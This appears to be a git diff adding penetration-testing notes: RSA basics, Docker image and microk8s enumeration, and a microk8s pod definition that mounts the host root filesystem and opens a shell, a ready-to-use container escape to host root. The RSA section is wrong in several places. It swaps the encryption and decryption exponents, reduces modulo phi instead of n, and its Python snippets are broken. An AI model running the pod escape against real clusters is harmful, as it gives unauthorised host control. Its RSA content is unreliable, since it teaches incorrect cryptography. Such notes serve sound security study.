diff --git a/crypto/rsa.md b/crypto/rsa.md new file mode 100644 index 0000000..66c4f5d --- /dev/null +++ b/crypto/rsa.md @@ -0,0 +1,36 @@ +# RSA + +* `p * q = n` +* Coprime Phi is calculated either by [Euler Totient](https://en.wikipedia.org/wiki/Euler's_totient_function) or [greatest common divisor](https://en.wikipedia.org/wiki/Greatest_common_divisor) via [euclidean algorithm](https://crypto.stanford.edu/pbc/notes/numbertheory/euclid.html) +* \\(1 < $\phi$ < n \\) +* There is also $\phi$ = (p-1) * (q-1) + +* Encryption, public key `e` is a prime between 2 and phi --> \\( 2 < e < $\phi$ \\) +```python +possible_e = [] +for i in range (2, phi): + if gcd(n, i) == 1 and gcd(phi, i) == 1: + possible_e.append() +``` + +* Decryption, private key `d` --> \\( d * e mod $\phi$ = 1 \\) +```python +possible_d = [] +for i in range (phi + 1, phi + foo): + if i * e mod phi == 1 : + possible_d.append() +``` +* \\( Cipher = msg ** d mod $\phi$ \\) +* \\( Cleartext = cipher ** e mod $\phi$ ) + +## Euklid +```python +def gcd(a, b): + if b == 0: + return a + return gcd(b, a % b) +``` + +## Links + +* [Encryption+Decryption](https://www.cs.drexel.edu/~jpopyack/Courses/CSP/Fa17/notes/10.1_Cryptography/RSA_Express_EncryptDecrypt_v2.html) diff --git a/enumeration/docs/docker_enumeration.md b/enumeration/docs/docker_enumeration.md new file mode 100644 index 0000000..20ef3bd --- /dev/null +++ b/enumeration/docs/docker_enumeration.md @@ -0,0 +1,21 @@ +# Docker Enumeration + +## Save Images + +* Save image and extract it +```sh +docker save -o image.tar +tar -xf image.tar +``` +* Run a container from the image and `printenv` + +### Manifest +* Read the manifest inside the image extracted +```sh +jq . manifest.json +``` +* Read the config JSON file mentioned in the manifest +* Inside this config file there are the shell commands used at building the image +* Snoop around after interesting files, especially inside the root dir in `layer.tar` + + diff --git a/enumeration/docs/microk8s.md b/enumeration/docs/microk8s.md new file mode 100644 index 0000000..3d634c7 --- /dev/null +++ b/enumeration/docs/microk8s.md @@ -0,0 +1,13 @@ +# Microk8s + +* [microk8s repo](https://github.com/ubuntu/microk8s) + +## Enumeration + +```sh +microk8s kubectl get nodes +microk8s kubectl get services +microk8s kubectl get pods +microk8s kubectl get deployments -o wide +microk8s kubectl cluster-info +``` diff --git a/misc/aws/bucket.md b/misc/aws/bucket.md deleted file mode 100644 index d80fb05..0000000 --- a/misc/aws/bucket.md +++ /dev/null @@ -1,7 +0,0 @@ -# AWS Buckets - -# Usage -* Enum to s3 bucket -```sh -aws s3 ls s3://bucketname.region-name.amazonaws.com -``` diff --git a/misc/level3_hypervisor/microk8s.md b/misc/level3_hypervisor/microk8s.md new file mode 100644 index 0000000..f2bebac --- /dev/null +++ b/misc/level3_hypervisor/microk8s.md @@ -0,0 +1,39 @@ +# MicroK8s + + +## Usage + +* Create `pod.yaml` configuration +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: harry-podder +spec: + containers: + - name: shell + image: localhost:47111/alpine + command: + - "/bin/bash" + - "-c" + - "sleep 10000" + volumeMounts: + - name: root + mountPath: /mnt/root + volumes: + - name: root + hostPath: + path: / + type: Directory +``` + +* Deploy the pod +```sh +microk8s kubectl apply -f pod.yaml +``` +* Run the Pod +```sh +microk8s kubectl exec -it harry-podder -- /bin/bash +``` + +